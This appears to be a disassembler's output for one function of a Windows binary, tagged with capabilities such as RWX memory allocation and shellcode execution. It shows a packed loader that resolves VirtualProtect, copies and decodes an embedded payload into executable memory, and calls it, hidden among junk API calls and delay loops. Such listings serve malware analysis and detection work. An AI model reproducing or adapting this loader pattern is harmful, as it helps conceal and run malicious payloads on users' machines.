Function at 0x4016c1
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size

Disassembly:
mov eax, 0x424589
call fcn.00423434
sub esp, 0x34
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x207142
jg 0x4016ec
inc esi
cmp esi, 0x67d12
jl 0x4016d5
cmp dword [0x20904f4], 0x93
jne 0x40177d
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuW]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoUnmarshalHresult]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], ebx
mov byte [ebp - 0x40], bl
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x14], 0x4271cc
call fcn.00401e3f
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::bad_exception.0
call fcn.00401e9b
push ebx
call fcn.004020e4
pop ecx
push ebx
call fcn.00402376
mov eax, dword [0x44383c]
add dword [0x20904f4], 0x1134b
push str.kernel32.dll
mov dword [0x2091330], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualProtect
push eax
mov dword [0x208ff84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x20904f4]
mov dword [0x208ff78], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x20904f4]
mov dword [0x208ff80], eax
push eax
call dword [0x208ff78]
mov esi, 0x1692e
call dword [sym.imp.USER32.dll_GetMessageTime]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x4017dc
mov eax, dword [0x20904f4]
cmp eax, ebx
jbe 0x40184c
mov eax, dword [0x2091330]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x208ff80]
mov byte [ecx + esi], al
mov eax, dword [0x20904f4]
cmp eax, 0x490
jne 0x401847
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push ebx
call dword [sym.imp.KERNEL32.dll_AttachConsole]
mov eax, dword [0x20904f4]
inc esi
cmp esi, eax
jb 0x4017f5
xor esi, esi
lea ecx, [eax + esi]
cmp ecx, 0x8d
jne 0x401880
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push ebx
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push str.Winuxojatafe_zecoradihakujum_kipoz
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x20904f4]
inc esi
cmp esi, 0x38681
jl 0x40184e
mov ecx, dword [0x208ff80]
shr eax, 3
cmp eax, ebx
jbe 0x4018a6
mov esi, ecx
mov edi, eax
push esi
call fcn.00401034
add esi, 8
dec edi
jne 0x40189a
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x4018c7
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x208ff80], eax
inc esi
cmp esi, 0x674bd
jl 0x4018a8
push 0x7b
pop esi
cmp dword [0x20904f4], 0x86
jne 0x40190c
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
dec esi
jne 0x4018d3
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x208ff80]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret